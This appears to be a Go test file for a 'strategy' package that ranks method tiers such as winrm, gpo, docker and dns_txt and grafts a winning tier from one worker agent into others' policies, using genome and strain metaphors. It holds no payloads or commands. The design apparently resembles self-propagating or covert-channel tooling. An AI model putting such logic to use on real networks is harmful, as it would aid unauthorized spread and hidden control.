package strategy

import (
	"testing"
	"time"
)

func TestSpliceGraftGenomePrependsWinningTier(t *testing.T) {
	graft := BuildGraftSourceFromAgent("src", "winner", "winrm", "#aabbcc", nil, 900)
	order := SpliceGraftGenome([]string{"docker", "wsl", "gpo"}, graft)
	if len(order) < 3 {
		t.Fatalf("order too short: %v", order)
	}
	if order[0] != "winrm" {
		t.Fatalf("winning tier should lead, got %v", order)
	}
}

func TestGraftMetabolismGate(t *testing.T) {
	if !GraftMetabolismGatePassed(100, 50) {
		t.Fatal("expected pass above gate")
	}
	if GraftMetabolismGatePassed(10, 50) {
		t.Fatal("expected fail below gate")
	}
	if !GraftMetabolismGatePassed(0, 0) {
		t.Fatal("disabled gate should pass")
	}
}

func TestBuildGraftPolicySplicesGenome(t *testing.T) {
	graft := BuildGraftSourceFromAgent("a", "worker-07", "dns_txt", "#112233",
		[]string{"dns_txt", "webrtc_mesh", "do_peer"}, 1200)
	p := BuildGraftPolicy(graft, []string{"docker", "wsl"}, time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC))
	if p.GraftTier != "dns_txt" || p.GraftSourceStrain != "#112233" {
		t.Fatalf("graft fields: %+v", p)
	}
	if len(p.TierOrder) == 0 {
		t.Fatal("expected spliced tier order")
	}
	if p.TierOrder[0] != "dns_txt" {
		t.Fatalf("tier order = %v", p.TierOrder)
	}
}

func TestGraftEnabledRequiresBothToggles(t *testing.T) {
	if GraftEnabled(false, true) || GraftEnabled(true, false) {
		t.Fatal("both toggles required")
	}
	if !GraftEnabled(true, true) {
		t.Fatal("expected enabled")
	}
}